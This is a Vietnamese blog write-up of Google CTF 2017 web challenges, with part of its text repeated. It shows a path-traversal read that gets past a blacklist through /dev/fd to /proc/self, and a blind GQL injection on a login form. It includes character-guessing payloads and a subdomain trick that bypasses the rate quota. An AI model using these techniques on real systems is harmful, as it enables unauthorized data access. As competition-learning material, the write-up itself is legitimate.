Google CTF 2017 - Notes
Cuối tuần rồi hóng Google CTF 2017 rồi note lại, giờ mới rảnh để post, too late =]]
Truy cập vào https://mindreader.web.ctfcompetition.com/
Cần nhập cái gì đó để đọc dữ liệu, theo quán tính cứ /ect/passwd mà gõ :D
Có vẻ là kiểu Challenge truyền thống, bug cho phép đọc source-code, trong source-code sẽ chứa thông tin về nơi dấu FLAG. Cảm nhận cá nhân, hầu hết Challenge của Google mình thấy đều dùng Google App Engine + Python, nên cứ gõ tiếp :3
Source-code đọc dô là hiểu liền, challenge này xếp vào loại Easy quả nhiên có lý do :3
Nhìn qua thử thì có thằng /dev/fd -> /proc/self/fd thỏa điều kiện vừa là folder để traversal lên /proc/self/, vừa không nằm trong blacklist
Ghi bàn :3
p/s: Challenge này mình chỉ tìm ra hướng giải nhưng lúc đó chưa có thời gian hiện thực :(
Thú thật không suy diễn được gì từ Challenge Name =]]
Tập tin start.html có nội dung ngắn gọn như sau:
Đoạn mã trên đơn giản sẽ chuyển hướng Browsers đến một random URL
Ý đồ của Hint chắc là Challenge được code bằng mấy Editor như nano, vi,… sẽ tự động có các tập tin backup có tên kết thúc với dấu ‘~’
Thử kiểm tra phát ra source luôn
Nhìn đoạn
Full source tại https://lab.infosec.xyz/assets/main.py
Theo source-code thì FLAG FORMAT là
Túm váy lại thì FLAG = CTF{qu0t453lzcgiej7s1v5qeywww-XXXXBase64}
Với 'qu0t453lzcgiej7s1v5qeywww-' là subdomain_prefix có yếu tố random nên không cần quan tâm đến, chỉ cần tìm đoạn XXXXBase64 là ra FLAG
Kiểm tra login từ dữ liệu POST lên được xử lý bởi
Nhận xét:
May mắn thay vẫn có thể sử dụng >, <, >=, <= thay thế khi so sánh String (Ref: https://stackoverflow.com/questions/47786/google-app-engine-is-it-possible-to-do-a-gql-like-query)
Nên có thể Blind Injection đoạn XXXXBase64 tương tự Blind SQLi:
=========
Chưa ra FLAG nhưng End Game CTF ở đây, tiếp tục sấp mặt với mớ công việc dồn ứ cuối tuần =((. Dù sao thì mỗi lần giải được một CTF Challenge thì cảm giác vẫn lâng lâng như ngày nào ^^
MindReader
Truy cập vào https://mindreader.web.ctfcompetition.com/
Cần nhập cái gì đó để đọc dữ liệu, theo quán tính cứ /ect/passwd mà gõ :D
Có vẻ là kiểu Challenge truyền thống, bug cho phép đọc source-code, trong source-code sẽ chứa thông tin về nơi dấu FLAG. Cảm nhận cá nhân, hầu hết Challenge của Google mình thấy đều dùng Google App Engine + Python, nên cứ gõ tiếp :3
Source-code đọc dô là hiểu liền, challenge này xếp vào loại Easy quả nhiên có lý do :3
- FLAG dấu trong biến môi trường
- Blacklist hết các input có chứa 'proc|random|zero|stdout|stderr'
Nhìn qua thử thì có thằng /dev/fd -> /proc/self/fd thỏa điều kiện vừa là folder để traversal lên /proc/self/, vừa không nằm trong blacklist
Ghi bàn :3
A7 ~ Gee cue elle
Thú thật không suy diễn được gì từ Challenge Name =]]
Tập tin start.html có nội dung ngắn gọn như sau:
<script>
location.replace('http://'+parseInt(Math.random()*1e15)+'-abuse.web.ctfcompetition.com/login');
</script>
http://[random_number]-abuse.web.ctfcompetition.com/login
Server sẽ return về một URL có cấu trúchttp://qu0t45 + base64(random_12_bytes) + www-abuse.gctf2017.lab/login
Lúc mình xem Challenge là đã thấy Hint .yaml~Ý đồ của Hint chắc là Challenge được code bằng mấy Editor như nano, vi,… sẽ tự động có các tập tin backup có tên kết thúc với dấu ‘~’
Thử kiểm tra phát ra source luôn
Nhìn đoạn
- url: /login
script: main.app
--> Code của /login sẽ là main.pyFull source tại https://lab.infosec.xyz/assets/main.py
Theo source-code thì FLAG FORMAT là
flag = "CTF{%s-%s}" % (
hostname, base64.b64encode(hmac.new(
self.key, hostname, hashlib.sha512
).digest()[:(6*FLAG_LENGTH/8)], "-_"))
Với 'qu0t453lzcgiej7s1v5qeywww-' là subdomain_prefix có yếu tố random nên không cần quan tâm đến, chỉ cần tìm đoạn XXXXBase64 là ra FLAG
Kiểm tra login từ dữ liệu POST lên được xử lý bởi
def post(self):
sql = "SELECT password FROM UserModel WHERE ANCESTOR IS :1 AND user = 'admin'"
query = ndb.gql(sql % self.request.get("user"), self.quota.key)
result = query.fetch(1)
if not result:
self.redirect("/index.html?e=%s" % urllib.quote("Wrong username"))
elif result[0].password != self.request.get("password"):
raise Exception("Wrong password")
else:
self.response.write(self.request.get("password"))
- FLAG cũng chính là Password của 'admin'
- Blind Injection trong câu truy vấn GQL
"SELECT password FROM UserModel WHERE ANCESTOR IS :1 AND user = '%s'"
Buồn thay đây là GQL,
bộ cú pháp rất ư là ngắn gọn súc tích, không quyến rũ như SQL, như
thiếu %LIKE%, không thể lấy SUBSTR,không cho phép so sánh = hoặc != đối
với các column đã được SELECTMay mắn thay vẫn có thể sử dụng >, <, >=, <= thay thế khi so sánh String (Ref: https://stackoverflow.com/questions/47786/google-app-engine-is-it-possible-to-do-a-gql-like-query)
Nên có thể Blind Injection đoạn XXXXBase64 tương tự Blind SQLi:
"SELECT password FROM UserModel WHERE ANCESTOR IS :1 AND user = 'admin' AND 'password' > ‘CTF{qu0t453lzcgiej7s1v5qeywww-Đoán_từng_ký_tự_Base64]}’"
Điều kiện kiểm tra:- Password Đúng: Response chứa ‘Wrong Password’
- Password Sai: Response chứa ‘Wrong Username’
POST[Username] = admin' AND 'password' >= ‘CTF{qu0t453lzcgiej7s1v5qeywww-Z]}’" ==> Wrong Password --> True
POST[Username] = admin' AND 'password' >= ‘CTF{qu0t453lzcgiej7s1v5qeywww-Za]}’" --> Wrong Username --> False
POST[Username] = admin' AND 'password' >= ‘CTF{qu0t453lzcgiej7s1v5qeywww-Zb]}’" --> Wrong Username --> False
POST[Username] = admin' AND 'password' >= ‘CTF{qu0t453lzcgiej7s1v5qeywww-Zc]}’" --> Wrong Password --> True
Khi Blind Injection có thể bị block vì quá Quota, rate requests quá
13 req / 90 seconds / subdomain_prefix (nhìn lướt qua hình như là vậy
:sexy:). Vì Quota sử dụng (subdomain_prefix + random(12_bytes)) để làm
key cho bộ đếm, ta có thể bypass Quota này bằng cách random URL theo
đúng định dạng như sau trong lúc Auto Blind Inject:https://qu0t45%swww-%s/login" %
(base64.b64encode(os.urandom(6 * 16 / 8), "__"),
"abuse.web.ctfcompetition.com"))
Chưa ra FLAG nhưng End Game CTF ở đây, tiếp tục sấp mặt với mớ công việc dồn ứ cuối tuần =((. Dù sao thì mỗi lần giải được một CTF Challenge thì cảm giác vẫn lâng lâng như ngày nào ^^
Nhận xét
Đăng nhận xét